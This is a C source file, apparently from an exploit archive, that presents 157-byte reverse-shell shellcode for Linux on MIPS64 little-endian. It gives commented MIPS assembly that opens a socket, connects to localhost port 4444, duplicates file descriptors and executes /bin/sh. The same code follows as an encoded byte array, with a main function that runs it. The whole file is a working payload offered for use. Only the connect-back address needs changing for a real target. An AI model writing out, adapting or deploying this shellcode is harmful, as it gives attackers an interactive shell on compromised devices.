157 bytes small Linux/MIPS64 reverse (localhost:4444/TCP) shell shellcode.
943dc4bcee3d0b33275bf2fdf8a0cb86/*
* # Reverse shell shellcode for Linux MIPS64 (mips64el)
* # Default port: tcp/4444
* # Host: localhost
* # Date: August 19 - 2019
* # Author: Antonio de la Piedra
* # Tested on: MIPS Malta - Linux debian-mips64el 4.9.0-3-5kc-malta
* # Size: 157 bytes
* # Compile with: gcc -fno-stack-protector -z execstack main.c -o main -g
*/
#include <stdio.h>
#include <string.h>
/*
.text
.global __start
__start:
dli $s4, -3
dli $s5, -17
nor $a0,$s4,$zero
nor $a1,$s4,$zero
slti $a2,$zero,-1
li $v0,5040
syscall 0x40404
sw $v0, -32($sp)
lw $a0, -32($sp)
nor $t0,$s4,$zero
sw $t0, -12($sp)
dli $t2,0x5c11
sw $t2,-10($sp)
dli $t1,0x0101017f
sw $t1,-8($sp)
daddiu $a1,$sp,-12
nor $a2,$s5,$zero
dli $v0,5041
syscall 0x40404
nor $a1,$s4,$zero
dli $s0, -1
loop:
dli $v0,5032
syscall 0x40404
daddi $a1,$a1,-1
bne $a1,$s0,loop
dli $t0,0x69622f2f
sw $t0,-12($sp)
dli $t1,0x68732f6e
dli $t1,0x68732f6e
sw $t1,-8($sp)
sw $zero,-4($sp)
daddiu $a0,$sp,-12
slti $a1,$zero,-1
slti $a2,$zero,-1
dli $v0,5057
syscall 0x40404
.align 8
*/
unsigned char code[] =
"\xfd\xff\x14\x24"
"\xfd\xff\x14\x24"
"\xef\xff\x15\x24"
"\x27\x20\x80\x02"
"\x27\x28\x80\x02"
"\xff\xff\x06\x28"
"\xb0\x13\x02\x24"
"\x0c\x01\x01\x01"
"\xe0\xff\xa2\xaf"
"\xe0\xff\xa4\x8f"
"\x27\x60\x80\x02"
"\xf4\xff\xac\xaf"
"\x11\x5c\x0e\x24"
"\xf6\xff\xae\xaf"
"\x01\x01\x0d\x3c"
"\x7f\x01\xad\x35"
"\xf8\xff\xad\xaf"
"\xf4\xff\xa5\x67"
"\x27\x30\xa0\x02"
"\xb1\x13\x02\x24"
"\x0c\x01\x01\x01"
"\x27\x28\x80\x02"
"\xff\xff\x10\x24"
"\xa8\x13\x02\x24"
"\x0c\x01\x01\x01"
"\xff\xff\xa5\x60"
"\xfc\xff\xb0\x14"
"\x62\x69\x0c\x3c"
"\x2f\x2f\x8c\x35"
"\xf4\xff\xac\xaf"
"\x73\x68\x0d\x3c"
"\x6e\x2f\xad\x35"
"\xf8\xff\xad\xaf"
"\xfc\xff\xa0\xaf"
"\xf4\xff\xa4\x67"
"\xff\xff\x05\x28"
"\xff\xff\x06\x28"
"\xc1\x13\x02\x24"
"\x0c\x01\x01\x01";
int main(int argc, char ** argv)
{
void(*s)(void);
printf("Shellcode Length: %d\n", strlen(code));
s = code;
s();
}